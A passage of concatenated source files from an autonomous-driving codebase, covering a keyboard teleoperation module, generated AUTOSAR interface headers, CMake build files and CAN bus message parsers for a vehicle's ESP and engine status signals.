control_command_.throttle() << ", Brake = " << control_command_.brake(); break; case KEYCODE_SETQ1: case KEYCODE_SETQ2: if (read(kfd_, &c, 1) < 0) { exit(-1); } static int cnt = 0; ++cnt; if (cnt > 2) { cnt = 0; } if (cnt == 0) { control_command_.mutable_signal()->set_turn_signal( VehicleSignal::TURN_NONE); } else if (cnt == 1) { control_command_.mutable_signal()->set_turn_signal( VehicleSignal::TURN_LEFT); } else if (cnt == 2) { control_command_.mutable_signal()->set_turn_signal( VehicleSignal::TURN_RIGHT); } break; case KEYCODE_MODE: // read keyboard again if (read(kfd_, &c, 1) < 0) { exit(-1); } level = c - KEYCODE_ZERO; GetPadMessage(&pad_msg, level); control_command_.mutable_pad_msg()->CopyFrom(pad_msg); sleep(1); control_command_.clear_pad_msg(); break; case KEYCODE_HELP: case KEYCODE_HELP2: PrintKeycode(); break; default: // printf("%X\n", c); break; } AINFO << "control command after switch : " << control_command_.ShortDebugString().c_str(); } // keyboard_loop big while tcsetattr(kfd_, TCSANOW, &cooked_); AINFO << "keyboard_loop thread quited."; return; } // end of keyboard loop thread Chassis::GearPosition Teleop::GetGear(int32_t gear) { switch (gear) { case 0: return Chassis::GEAR_NEUTRAL; case 1: return Chassis::GEAR_DRIVE; case 2: return Chassis::GEAR_REVERSE; case 3: return Chassis::GEAR_PARKING; case 4: return Chassis::GEAR_LOW; case 5: return Chassis::GEAR_INVALID; case 6: return Chassis::GEAR_NONE; default: return Chassis::GEAR_INVALID; } } void Teleop::GetPadMessage(PadMessage *pad_msg, int32_t int_action) { jmc_auto::control::DrivingAction action = jmc_auto::control::DrivingAction::RESET; switch (int_action) { case 0: action = jmc_auto::control::DrivingAction::RESET; AINFO << "SET Action RESET"; break; case 1: action = jmc_auto::control::DrivingAction::START; AINFO << "SET Action START"; break; default: AINFO << "unknown action: " << int_action << " use default RESET"; break; } pad_msg->set_action(action); return; } double Teleop::GetCommand(double val, double inc, double limit) { val += inc; if (val > limit) { val = limit; } else if (val < -limit) { val = -limit; } return val; } void Teleop::Send() { AdapterManager::FillControlCommandHeader(&control_command_); AdapterManager::PublishControlCommand(control_command_); ADEBUG << "Control Command send OK:" << control_command_.ShortDebugString(); } void Teleop::ResetControlCommand() { control_command_.Clear(); control_command_.set_throttle(0.0); control_command_.set_brake(0.0); control_command_.set_steering_rate(0.0); control_command_.set_steering_target(0.0); control_command_.set_steering_angle(0.0); control_command_.set_parking_brake(false); control_command_.set_speed(0.0); control_command_.set_acceleration(0.0); control_command_.set_reset_model(false); control_command_.set_engine_on_off(false); control_command_.set_driving_mode(Chassis::COMPLETE_MANUAL); control_command_.set_gear_location(Chassis::GEAR_INVALID); control_command_.mutable_signal()->set_turn_signal( VehicleSignal::TURN_NONE); } void Teleop::OnChassis(const Chassis &chassis) { Send(); } Teleop::Teleop() { ResetControlCommand(); } void Teleop::signal_handler(int32_t signal_num) { if (signal_num != SIGINT) { // only response for ctrl + c return; } AINFO << "Teleop get signal: " << signal_num; bool static is_stopping = false; if (is_stopping) { return; } is_stopping = true; // ros::shutdown(); } std::string Teleop::Name() const { return FLAGS_teleop_module_name; } Status Teleop::Init() { //ResetControlCommand(); //signal(SIGINT, signal_handler); AdapterManager::Init(FLAGS_teleop_adapter_config_filename); AINFO << "The adapter manager is successfully initialized."; CHECK(AdapterManager::GetChassis()) << "Chassis is not initialized."; AdapterManager::AddChassisCallback(&Teleop::OnChassis, this); return Status::OK(); } Status Teleop::Start() { if (is_running_) { return Status(ErrorCode::CANBUS_ERROR, "Already running."); } is_running_ = true; //AdapterManager::AddChassisCallback(&Teleop::OnChassis, this); keyboard_thread_.reset( new std::thread([this] { KeyboardLoopThreadFunc(); })); if (keyboard_thread_ == nullptr) { return Status(ErrorCode::CANBUS_ERROR, "Failed to create can client receiver thread."); } PrintKeycode(); while(1) { sleep(1); } return Status::OK(); } void Teleop::Stop() { if (is_running_) { is_running_ = false; if (keyboard_thread_ != nullptr && keyboard_thread_->joinable()) { keyboard_thread_->join(); keyboard_thread_.reset(); AINFO << "Teleop keyboard stopped [ok]."; } } } } // namespace teleop } // namespace jmc_auto <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef jmc_auto_chassisserviceinterface_proxy_h #define jmc_auto_chassisserviceinterface_proxy_h #include "ara/com/internal/proxy/ProxyAdapter.h" #include "ara/com/internal/proxy/EventAdapter.h" #include "ara/com/internal/proxy/FieldAdapter.h" #include "ara/com/internal/proxy/MethodAdapter.h" #include "jmc_auto/chassisserviceinterface_common.h" #include "impl_type_chassis.h" #include <string> namespace jmc_auto { namespace proxy { namespace events { using ChassisEvent = ara::com::internal::proxy::event::EventAdapter<::Chassis>; static constexpr ara::com::internal::EntityId ChassisEventId = 32374; //ChassisEvent_event_hash } namespace fields { } namespace methods { } // namespace methods class ChassisServiceInterfaceProxy :public ara::com::internal::proxy::ProxyAdapter { public: virtual ~ChassisServiceInterfaceProxy() { ChassisEvent.UnsetReceiveHandler(); ChassisEvent.Unsubscribe(); } explicit ChassisServiceInterfaceProxy(const HandleType &handle) :ara::com::internal::proxy::ProxyAdapter(::jmc_auto::ChassisServiceInterface::ServiceIdentifier, handle), ChassisEvent(GetProxy(), events::ChassisEventId, handle, ::jmc_auto::ChassisServiceInterface::ServiceIdentifier){ } ChassisServiceInterfaceProxy(const ChassisServiceInterfaceProxy&) = delete; ChassisServiceInterfaceProxy& operator=(const ChassisServiceInterfaceProxy&) = delete; ChassisServiceInterfaceProxy(ChassisServiceInterfaceProxy&& other) = default; ChassisServiceInterfaceProxy& operator=(ChassisServiceInterfaceProxy&& other) = default; static ara::com::FindServiceHandle StartFindService( ara::com::FindServiceHandler<ara::com::internal::proxy::ProxyAdapter::HandleType> handler, ara::com::InstanceIdentifier instance = ara::com::InstanceIdentifier::Any) { return ProxyAdapter::StartFindService(handler, ::jmc_auto::ChassisServiceInterface::ServiceIdentifier, instance); } static ara::com::ServiceHandleContainer<ara::com::internal::proxy::ProxyAdapter::HandleType> FindService( ara::com::InstanceIdentifier instance = ara::com::InstanceIdentifier::Any) { return ProxyAdapter::FindService(::jmc_auto::ChassisServiceInterface::ServiceIdentifier, instance); } events::ChassisEvent ChassisEvent; }; } // namespace proxy } // namespace jmc_auto #endif // jmc_auto_chassisserviceinterface_proxy_h <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(rule_based_stop_decider rule_based_stop_decider.cc rule_based_stop_decider.h) target_link_libraries(rule_based_stop_decider /modules/common/status frame planning_gflags common_lib /modules/planning/tasks:task /modules/planning/tasks/deciders:decider_base /modules/planning/tasks/deciders/lane_change_decider) <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_vehicleconfig_h #define impl_type_vehicleconfig_h #include "impl_type_extrinsics.h" #include "impl_type_header.h" #include "impl_type_vehicleparam.h" struct VehicleConfig { ::Header header; ::VehicleParam vehicle_param; ::Extrinsics extrinsics; static bool IsPlane() { return false; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(header); fun(vehicle_param); fun(extrinsics); } template<typename F> void enumerate(F& fun) const { fun(header); fun(vehicle_param); fun(extrinsics); } bool operator == (const ::VehicleConfig& t) const { return (header == t.header) && (vehicle_param == t.vehicle_param) && (extrinsics == t.extrinsics); } }; #endif // impl_type_vehicleconfig_h <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(relative_map_gflags relative_map_gflags.cc relative_map_gflags.h) target_link_libraries(relative_map_gflags gflags) <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_compile_options(-fPIC) add_subdirectory(common) add_subdirectory(proto) add_subdirectory(rtk) add_executable(localization main.cc) target_link_libraries(localization ${COMMON_LIB} localization_lib #localization_base common) #add_library(localization_base # localization_base.cc # localization_base.h) #target_link_libraries(localization_base # ${COMMON_LIB} # common # config_gflags # status # localization_common # localization_proto) add_library(localization_lib localization.cc localization.h) target_link_libraries(localization_lib ${COMMON_LIB} jmc_auto_app util factory #localization_base #gnss_pnt_result_proto measure_proto rtk_localization)<file_sep>########################################################################## # 该文件内容为模板内容,用户可根据注释提示自定义修改 # 注意:COMMON前缀内容为默认添加,用户不可删除 ########################################################################## cmake_minimum_required(VERSION 3.5) project(jmcauto) #定义函数,把文件夹下所有子文件夹保存在变量中 macro(LISTSUBDIR result curdir) file(GLOB_RECURSE children LIST_DIRECTORIES true ${curdir}/*) set(dirlist ${curdir}) foreach(child ${children}) if(IS_DIRECTORY ${child}) list(APPEND dirlist ${child}) endif() endforeach() set(${result} ${dirlist}) endmacro() #调用函数,把generat下的子目录保存在变量中 LISTSUBDIR(GENERATEDDIRS generated) #包含src和generated目录下的头文件路径 INCLUDE_DIRECTORIES(${GENERATEDDIRS}) #把对应目录下的c和c++所有源文件分别保存在变量中 file(GLOB_RECURSE C_SOURCE src/*.c generated/*.c) file(GLOB_RECURSE CXX_SOURCE src/*.cxx src/*.cpp src/*.cc generated/*.cxx generated/*.cpp generated/*.cc) #默认依赖,用户不可修改 include(${CMAKE_CURRENT_SOURCE_DIR}/.cmakes/ubuntu_common.cmake) #用户可在此添加头文件路径 include_directories(${COMMON_INCLUDE} include ${PROJECT_SOURCE_DIR}) #仅测试用 include_directories(/usr/ubuntu_crossbuild_devkit/mdc_crossbuild_sysroot/usr/local/include/eigen3) #用户可在此添加库文件路径 link_directories(${COMMON_LINK_DIR} lib) add_subdirectory(modules/common) add_subdirectory(modules/canbus) add_subdirectory(modules/control) add_subdirectory(modules/data/proto) add_subdirectory(modules/dreamview/proto) add_subdirectory(modules/drivers/canbus) add_subdirectory(modules/drivers/gnss/proto) add_subdirectory(modules/localization) add_subdirectory(modules/map/proto) add_subdirectory(modules/map/relative_map/proto) add_subdirectory(modules/perception/proto) add_subdirectory(modules/planning/proto) add_subdirectory(modules/prediction/proto) add_subdirectory(modules/routing/proto) #用户可在此添加宏 add_definitions(${COMMON_DEFINITIONS}) #用户可在此添加编译选项 add_compile_options(${COMMON_COMPILE}) add_compile_options(-fPIC) #添加第三方依赖 #set(CMAKE_MODULE_PATH "${CMAKE_SOURCE_DIR}/cmake;${CMAKE_MODULE_PATH}") set(CMAKE_EXPORT_COMPILECOMMANDS ON) #默认编译c和c++文件生成可执行文件 #add_executable(canbus modules/canbus/main.cc) #add_executable(control modules/control/main.cc) #用户可在此添加链接库 #用户可在此添加链接参数 set_target_properties(canbus PROPERTIES LINK_FLAGS ${COMMON_LINK_FLAG}) set_target_properties(control PROPERTIES LINK_FLAGS ${COMMON_LINK_FLAG}) set_target_properties(localization PROPERTIES LINK_FLAGS ${COMMON_LINK_FLAG}) <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(discretized_trajectory discretized_trajectory.cc discretized_trajectory.h) target_link_libraries(discretized_trajectory linear_interpolation pnc_point_proto /modules/common/vehicle_state/proto:vehicle_state_proto planning_context eigen) add_library(publishable_trajectory publishable_trajectory.cc publishable_trajectory.h) target_link_libraries(publishable_trajectory discretized_trajectory planning_proto) <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_protodesc_h #define impl_type_protodesc_h #include "impl_type_protodesc.h" #include "impl_type_bytearray.h" struct ProtoDesc { ::ByteArray desc; ::ProtoDesc dependencies; static bool IsPlane() { return false; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(desc); fun(dependencies); } template<typename F> void enumerate(F& fun) const { fun(desc); fun(dependencies); } bool operator == (const ::ProtoDesc& t) const { return (desc == t.desc) && (dependencies == t.dependencies); } }; #endif // impl_type_protodesc_h <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(dual_variable_warm_start_problem dual_variable_warm_start_problem.cc dual_variable_warm_start_problem.h) target_link_libraries(dual_variable_warm_start_problem dual_variable_warm_start_ipopt_interface dual_variable_warm_start_ipopt_qp_interface dual_variable_warm_start_osqp_interface dual_variable_warm_start_slack_osqp_interface /modules/common/time) add_library(dual_variable_warm_start_ipopt_interface dual_variable_warm_start_ipopt_interface.cc dual_variable_warm_start_ipopt_interface.h) target_link_libraries(dual_variable_warm_start_ipopt_interface vehicle_config_helper /modules/common/math /modules/common/util planning_gflags planner_open_space_config_proto planning_proto adolc ipopt eigen) add_library(dual_variable_warm_start_ipopt_qp_interface dual_variable_warm_start_ipopt_qp_interface.cc dual_variable_warm_start_ipopt_qp_interface.h) target_link_libraries(dual_variable_warm_start_ipopt_qp_interface vehicle_config_helper /modules/common/math /modules/common/util planning_gflags planner_open_space_config_proto planning_proto adolc ipopt eigen) add_library(dual_variable_warm_start_osqp_interface dual_variable_warm_start_osqp_interface.cc dual_variable_warm_start_osqp_interface.h) target_link_libraries(dual_variable_warm_start_osqp_interface vehicle_config_helper /modules/common/math /modules/common/util planning_gflags planner_open_space_config_proto planning_proto eigen osqp) add_library(dual_variable_warm_start_slack_osqp_interface dual_variable_warm_start_slack_osqp_interface.cc dual_variable_warm_start_slack_osqp_interface.h) target_link_libraries(dual_variable_warm_start_slack_osqp_interface vehicle_config_helper /modules/common/math /modules/common/util planning_gflags planner_open_space_config_proto planning_proto eigen osqp) add_library(distance_approach_problem distance_approach_problem.cc distance_approach_problem.h) target_link_libraries(distance_approach_problem distance_approach_ipopt_fixed_dual_interface distance_approach_ipopt_fixed_ts_interface distance_approach_ipopt_interface distance_approach_ipopt_relax_end_interface distance_approach_ipopt_relax_end_slack_interface log /modules/common/time planning_gflags planner_open_space_config_proto) add_library(distance_approach_ipopt_fixed_ts_interface distance_approach_ipopt_fixed_ts_interface.cc distance_approach_interface.h distance_approach_ipopt_fixed_ts_interface.h) target_link_libraries(distance_approach_ipopt_fixed_ts_interface log vehicle_config_helper /modules/common/math /modules/common/util planning_gflags planner_open_space_config_proto planning_proto adolc ipopt eigen) add_library(distance_approach_ipopt_fixed_dual_interface distance_approach_ipopt_fixed_dual_interface.cc distance_approach_interface.h distance_approach_ipopt_fixed_dual_interface.h) target_link_libraries(distance_approach_ipopt_fixed_dual_interface log vehicle_config_helper /modules/common/math /modules/common/util planning_gflags planner_open_space_config_proto planning_proto adolc ipopt eigen) add_library(distance_approach_ipopt_relax_end_interface distance_approach_ipopt_relax_end_interface.cc distance_approach_interface.h distance_approach_ipopt_relax_end_interface.h) target_link_libraries(distance_approach_ipopt_relax_end_interface log vehicle_config_helper /modules/common/math /modules/common/util planning_gflags planner_open_space_config_proto planning_proto adolc ipopt eigen) add_library(distance_approach_ipopt_relax_end_slack_interface distance_approach_ipopt_relax_end_slack_interface.cc distance_approach_interface.h distance_approach_ipopt_relax_end_slack_interface.h) target_link_libraries(distance_approach_ipopt_relax_end_slack_interface log vehicle_config_helper /modules/common/math /modules/common/util planning_gflags planner_open_space_config_proto planning_proto adolc ipopt eigen) add_library(distance_approach_ipopt_interface distance_approach_ipopt_interface.cc distance_approach_interface.h distance_approach_ipopt_interface.h) target_link_libraries(distance_approach_ipopt_interface log vehicle_config_helper /modules/common/math /modules/common/util planning_gflags planner_open_space_config_proto planning_proto adolc ipopt eigen) add_library(iterative_anchoring_smoother iterative_anchoring_smoother.cc iterative_anchoring_smoother.h) target_link_libraries(iterative_anchoring_smoother vehicle_config_helper /modules/common/math speed_profile_generator discretized_path speed_data discretized_trajectory discrete_points_math /modules/planning/math/discretized_points_smoothing:fem_pos_deviation_smoother eigen) <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(curve1d INTERFACE) add_library(polynomial_curve1d INTERFACE) target_link_libraries(polynomial_curve1d INTERFACE curve1d) add_library(quartic_polynomial_curve1d quartic_polynomial_curve1d.cc quartic_polynomial_curve1d.h) target_link_libraries(quartic_polynomial_curve1d polynomial_curve1d log string_util com_google_absl//absl/strings) add_library(quintic_polynomial_curve1d quintic_polynomial_curve1d.cc quintic_polynomial_curve1d.h) target_link_libraries(quintic_polynomial_curve1d polynomial_curve1d log string_util com_google_absl//absl/strings) add_library(cubic_polynomial_curve1d cubic_polynomial_curve1d.cc cubic_polynomial_curve1d.h) target_link_libraries(cubic_polynomial_curve1d polynomial_curve1d quartic_polynomial_curve1d log com_google_absl//absl/strings) add_library(quintic_spiral_path quintic_spiral_path.cc quintic_spiral_path.h quintic_spiral_path_with_derivation.h) target_link_libraries(quintic_spiral_path quintic_polynomial_curve1d log /modules/common/math com_google_absl//absl/strings) add_library(piecewise_quintic_spiral_path piecewise_quintic_spiral_path.cc piecewise_quintic_spiral_path.h) target_link_libraries(piecewise_quintic_spiral_path quintic_spiral_path log /modules/common/math com_google_absl//absl/strings) <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(planning_lib planning.cc planning.h) target_link_libraries(planning_lib on_lane_planning util jmc_auto_app message_util adapter_gflags /modules/localization/proto:localization_proto /modules/map/relative_map/proto:navigation_proto /modules/perception/proto:perception_proto history planning_proto /modules/prediction/proto:prediction_proto ros//:ros_common) add_library(planning_base planning_base.cc planning_base.h) target_link_libraries(planning_base util log config_gflags quaternion pnc_point_proto future message_util vehicle_state_provider /modules/localization/proto:localization_proto /modules/map/hdmap:hdmap_util /modules/perception/proto:perception_proto history planning_common planning_gflags trajectory_stitcher smoother util_lib /modules/planning/planner planner_dispatcher planning_proto traffic_rule_config_proto /modules/planning/tasks:task_factory /modules/planning/traffic_rules:traffic_decider /modules/prediction/proto:prediction_proto) add_library(on_lane_planning on_lane_planning.cc on_lane_planning.h) target_link_libraries(on_lane_planning planning_base planning_thread_pool) <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_compile_options(-fPIC) add_library(drivers_canbus_proto can_card_parameter.pb.cc can_card_parameter.pb.h sensor_canbus_conf.pb.cc sensor_canbus_conf.pb.h) target_link_libraries(drivers_canbus_proto common_proto header_proto protobuf)<file_sep>/****************************************************************************** * Copyright 2017 The Apollo Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/cx75/protocol/esp_axay_0x242_242.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace cx75 { using ::jmc_auto::drivers::canbus::Byte; Espaxay0x242242::Espaxay0x242242() {} const int32_t Espaxay0x242242::ID = 0x242; void Espaxay0x242242::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_cx75()->mutable_esp_axay_0x242_242()->set_esp_alat(esp_alat(bytes, length)); chassis->mutable_cx75()->mutable_esp_axay_0x242_242()->set_esp_yawrate(esp_yawrate(bytes, length)); chassis->mutable_cx75()->mutable_esp_axay_0x242_242()->set_rolling_counter_0x242(rolling_counter_0x242(bytes, length)); chassis->mutable_cx75()->mutable_esp_axay_0x242_242()->set_esp_yawratestatus(esp_yawratestatus(bytes, length)); chassis->mutable_cx75()->mutable_esp_axay_0x242_242()->set_esp_alatstatus(esp_alatstatus(bytes, length)); chassis->mutable_cx75()->mutable_esp_axay_0x242_242()->set_esp_algtstatus(esp_algtstatus(bytes, length)); chassis->mutable_cx75()->mutable_esp_axay_0x242_242()->set_checksum_0x242(checksum_0x242(bytes, length)); chassis->mutable_cx75()->mutable_esp_axay_0x242_242()->set_esp_algt(esp_algt(bytes, length)); } // config detail: {'name': 'esp_alat', 'offset': -21.593092, 'precision': 0.027127, 'len': 12, 'is_signed_var': False, 'physical_range': '[-21.593092|21.593092]', 'bit': 11, 'type': 'double', 'order': 'motorola', 'physical_unit': 'm s^2'} double Espaxay0x242242::esp_alat(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(0, 4); Byte t1(bytes + 2); int32_t t = t1.get_byte(0, 8); x <<= 8; x |= t; double ret = x * 0.027127 + -21.593092; return ret; } // config detail: {'name': 'esp_yawrate', 'offset': -2.0942132, 'precision': 0.0021326, 'len': 12, 'is_signed_var': False, 'physical_range': '[-2.0942132|2.0942132]', 'bit': 31, 'type': 'double', 'order': 'motorola', 'physical_unit': 'rad s'} double Espaxay0x242242::esp_yawrate(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 4); int32_t t = t1.get_byte(4, 4); x <<= 4; x |= t; double ret = x * 0.002133 + -2.094213; return ret; } // config detail: {'name': 'rolling_counter_0x242', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Espaxay0x242242::rolling_counter_0x242(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(0, 4); int ret = x; return ret; } // config detail: {'name': 'esp_yawratestatus', 'enum': {0: 'ESP_YAWRATESTATUS_OK', 1: 'ESP_YAWRATESTATUS_FAULT'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 53, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_axay_0x242_242::Esp_yawratestatusType Espaxay0x242242::esp_yawratestatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(5, 1); Esp_axay_0x242_242::Esp_yawratestatusType ret = static_cast<Esp_axay_0x242_242::Esp_yawratestatusType>(x); return ret; } // config detail: {'name': 'esp_alatstatus', 'enum': {0: 'ESP_ALATSTATUS_OK', 1: 'ESP_ALATSTATUS_FAULT'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 54, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_axay_0x242_242::Esp_alatstatusType Espaxay0x242242::esp_alatstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(6, 1); Esp_axay_0x242_242::Esp_alatstatusType ret = static_cast<Esp_axay_0x242_242::Esp_alatstatusType>(x); return ret; } // config detail: {'name': 'esp_algtstatus', 'enum': {0: 'ESP_ALGTSTATUS_OK', 1: 'ESP_ALGTSTATUS_FAULT'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 55, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_axay_0x242_242::Esp_algtstatusType Espaxay0x242242::esp_algtstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(7, 1); Esp_axay_0x242_242::Esp_algtstatusType ret = static_cast<Esp_axay_0x242_242::Esp_algtstatusType>(x); return ret; } // config detail: {'name': 'checksum_0x242', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Espaxay0x242242::checksum_0x242(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'esp_algt', 'offset': -21.593092, 'precision': 0.027127, 'len': 12, 'is_signed_var': False, 'physical_range': '[-21.593092|21.593092]', 'bit': 7, 'type': 'double', 'order': 'motorola', 'physical_unit': 'm s^2'} double Espaxay0x242242::esp_algt(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 1); int32_t t = t1.get_byte(4, 4); x <<= 4; x |= t; double ret = x * 0.027127 + -21.593092; return ret; } } // namespace cx75 } // namespace canbus } // namespace jmc_auto <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_GW_EMS_STS_0X151_151_H_ #define MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_GW_EMS_STS_0X151_151_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace cx75 { class Gwemssts0x151151 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Gwemssts0x151151(); void Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const override; private: // config detail: {'name': 'EMS_EngBarometricPressure', 'enum': {255: 'EMS_ENGBAROMETRICPRESSURE_INVALID'}, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|254]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'KPa'} int ems_engbarometricpressure(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EMS_VacuumPressure', 'enum': {1023: 'EMS_VACUUMPRESSURE_INVALID'}, 'precision': 0.1, 'len': 10, 'is_signed_var': False, 'offset': -92.7, 'physical_range': '[-92.7|5]', 'bit': 31, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'Kpa'} double ems_vacuumpressure(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EMS_TargCruiseSpeed', 'enum': {511: 'EMS_TARGCRUISESPEED_INVALID'}, 'precision': 0.5, 'len': 9, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|255]', 'bit': 32, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'Km h'} double ems_targcruisespeed(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EMS_ATSDrivingModeStatus', 'enum': {0: 'EMS_ATSDRIVINGMODESTATUS_STANDARD', 1: 'EMS_ATSDRIVINGMODESTATUS_SPORT', 2: 'EMS_ATSDRIVINGMODESTATUS_ECO', 3: 'EMS_ATSDRIVINGMODESTATUS_INVALID'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 34, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_ems_sts_0x151_151::Ems_atsdrivingmodestatusType ems_atsdrivingmodestatus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EMS_EngineStopStartStatus', 'enum': {0: 'EMS_ENGINESTOPSTARTSTATUS_NON_START_STOPMODE', 1: 'EMS_ENGINESTOPSTARTSTATUS_ENGINESTANDBY', 2: 'EMS_ENGINESTOPSTARTSTATUS_ENGINESTOPPED', 3: 'EMS_ENGINESTOPSTARTSTATUS_STARTERRESTART', 4: 'EMS_ENGINESTOPSTARTSTATUS_ENGINERESTART', 5: 'EMS_ENGINESTOPSTARTSTATUS_ENGINEOPERATION', 6: 'EMS_ENGINESTOPSTARTSTATUS_ENGINEAUTO_STOPPING', 7: 'EMS_ENGINESTOPSTARTSTATUS_RESERVED'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 37, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_ems_sts_0x151_151::Ems_enginestopstartstatusType ems_enginestopstartstatus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'DCM_EMS_RollingCounter_0x151', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int dcm_ems_rollingcounter_0x151(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EMS_CruiseControlStatus', 'enum': {0: 'EMS_CRUISECONTROLSTATUS_CRUISECONTROLOOFF', 1: 'EMS_CRUISECONTROLSTATUS_ACTIVE', 2: 'EMS_CRUISECONTROLSTATUS_STANDBY', 3: 'EMS_CRUISECONTROLSTATUS_ERROR'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 53, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_ems_sts_0x151_151::Ems_cruisecontrolstatusType ems_cruisecontrolstatus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EMS_DrivingModeChange_Fault_flag', 'enum': {0: 'EMS_DRIVINGMODECHANGE_FAULT_FLAG_NORMAL', 1: 'EMS_DRIVINGMODECHANGE_FAULT_FLAG_FAULT'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 54, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_ems_sts_0x151_151::Ems_drivingmodechange_fault_flagType ems_drivingmodechange_fault_flag(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 